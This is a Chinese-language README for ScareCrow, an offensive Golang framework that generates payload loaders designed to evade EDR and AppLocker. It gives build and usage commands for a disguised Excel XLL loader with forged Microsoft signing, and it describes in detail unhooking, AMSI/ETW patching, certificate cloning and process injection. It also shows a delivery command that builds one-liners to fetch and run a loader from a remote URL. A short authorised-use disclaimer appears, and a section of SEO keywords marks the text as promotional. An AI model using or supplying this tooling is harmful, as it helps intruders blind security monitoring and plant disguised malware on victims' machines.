🐦 ScareCrow:高级 EDR 及 AppLocker 绕过框架
一款利用 DLL 侧加载和动态脱钩技术的复杂 payload 生成器
🧠 概念概述
欢迎使用 ScareCrow!我专门设计了这个框架来解决现代端点检测与响应(EDR)遥测和应用程序白名单控制。ScareCrow 没有依赖备受审查的注入技术,而是利用 DLL 侧加载技术注入到合法的 Windows 进程中。
注意:最初的 optiv 仓库已被归档。我建议访问 Tylous/ScareCrow 以获取此工具的最新迭代版本。
🎯 核心理念
“干净的执行需要干净的环境。”
大多数 EDR 产品会在进程刚生成时,将它们的 API 钩子放置在系统 DLL(例如 ntdll.dll)中。ScareCrow 基于一个简单但强大的原则运作:在执行任何恶意逻辑之前,在内存中定位这些钩子并强力清除它们。通过 VirtualProtect 恢复内存权限,并用原始字节替换被修改的汇编代码,我们可以在受控进程中致盲 EDR。
🚀 快速入门指南
🧪 依赖与安装
ScareCrow 使用 Golang 编写,需要 Go 1.19.1+。我强烈建议在 macOS 或 Linux 上编译你的加载器,因为 Windows Defender 可能会干扰构建过程。
go get github.com/fatih/color
go get github.com/yeka/zip
go get github.com/josephspurrier/goversioninfo
go get github.com/Binject/debug/pe
go build ScareCrow.go
🖥️ 控制台调用示例
以下是如何生成一个带有 AES 加密、ETW/AMSI 修补以及伪造微软签名属性的 Excel XLL 加载器:
./ScareCrow -I payload.bin -Loader excel -domain microsoft.com -encryptionmode AES -obfu -outpath /tmp/
预期输出 / 流程:
[*] Parsing Payload...
[*] Generating Fake Code Signing Certificate...
[*] Compiling Payload into XLL Loader...
[*] Applying Garble Obfuscation...
[+] Success! XLL Payload saved to /tmp/excel_update.xll
📊 系统架构
graph TD
A[ScareCrow Generator] --> B{EDR Unhooking Strategy}
B -->|Disk Method| C[Read C:\Windows\System32\.text]
B -->|KnownDLLs| D[Read from Object Namespace]
C --> E[Flush Hooks via VirtualProtect]
D --> E
E --> F[AMSI & ETW Patching]
F --> G[Custom Indirect Syscalls]
G --> H[Decrypt Shellcode AES/RC4]
H --> I[Execute via RtlCopy / ThreadEx]
🌐 支持的 Loader 矩阵
ScareCrow 不仅仅是投放简单的 `.exe` 文件。我构建它是为了让它能利用多种执行向量无缝融入企业环境中:
| Loader 类型 | 机制 | Emoji | 备注 |
|---|---|---|---|
| 控制面板 | rundll32.exe |
🟢 | 生成一个隐藏的控制面板小程序。 |
| WScript | 免注册 COM | 🟢 | 使用清单文件进行并行加载。 |
| Excel (.xll) | 隐藏的 Excel 进程 | 🟢 | 强制隐藏的 Excel 实例加载 XLL。 |
| MSIexec | 隐藏的安装程序 | 🟢 | 生成 MSIExec 以将 DLL 加载到内存中。 |
✨ 核心特性
🔄 内存中的 EDR 脱钩
我实现了两种主要方法来获取干净的 syscall 桩:Disk(复制位于 System32 中未挂钩 DLL 的 .text 节)和 KnownDLLs(利用 NtOpenSection 映射缓存的操作系统库)。这两种方法都利用间接 syscall 来调用 NtProtectVirtualMemory,彻底绕过基于钩子的防篡改控制。
🌍 AMSI 和 ETW 遥测致盲
默认情况下,ScareCrow 会对反恶意软件扫描接口(AMSI)进行修补,以确保内存中的缓冲区被扫描为“干净”。此外,它还会修补 Windows 事件跟踪(ETW)函数,刷新寄存器并重定向执行流程,从而消除线程创建和内存分配的遥测信号。
🎭 高级 OpSec:证书与属性
为了融入企业环境,ScareCrow 可以使用编译好的 .syso 资源文件来伪造文件属性。它还利用内置的 Go 库(类似于 limelighter)为用户指定的域生成伪造的代码签名证书,或者直接从合法的二进制文件中完整克隆有效的证书。
🛠️ 高级用例
🤖 进程注入规避
ScareCrow 支持安全的进程注入。在注入之前,加载器首先会对自身进行脱钩。然后,它会生成目标进程,使用 WriteProcessMemory 暂时强制将目标内存设为读写权限,清除远程进程中的 EDR 钩子,然后再注入 shellcode —— 从而确保在两个进程中都不会受到 EDR 的干扰。
🧪 远程投递生成
你可以自动生成用于获取并执行加载器的部署单行命令:
./ScareCrow -delivery bits -url https://acme.com/loader.dll -Loader control
支持 BITSAdmin、HTA MSHTA 命令以及 Office 宏。
⚖️ 许可证与法律
🚨 免责声明
本框架的开发和提供严格仅用于授权的红队作战和系统管理测试。
对于未经授权的部署或滥用,开发者不承担任何责任。在没有明确书面许可的网络中,修改系统安全控制、绕过 EDR/AV 软件以及进行进程注入是严格禁止且非法的。
🧰 技术规格
🐛 已知限制与要求
- Windows 7 / 8.1 稳定性:较旧的操作系统架构在动态重新加载系统 DLL 时可能会出现不稳定。已实现版本检查以防止严重崩溃。
- Garble 混淆:使用
-obfu标志会显著增加编译时间,但它会将 Golang 库字符串替换为复杂的运行时解析器,从而大幅减少静态 IOC。
🔗 SEO 关键词(自然融入)
- EDR 脱钩框架
- Golang 恶意软件开发
- DLL 侧加载 payload 生成器
- 间接 syscall 实现
- AMSI 和 ETW 绕过工具
- 进程注入规避
- 免注册 COM 执行
🔄 下载与贡献
贡献指南:
- 请将所有的 PR 和 Issue 提交至新的活跃仓库:
Tylous/ScareCrow。 - 在推送更改之前,请确保所有的 Go 模块都能在 Linux/macOS 上成功编译。
- 请在启用跟踪的独立沙箱环境中测试你的脱钩逻辑。
ScareCrow —— 让 EDR 领教一下什么叫恐惧。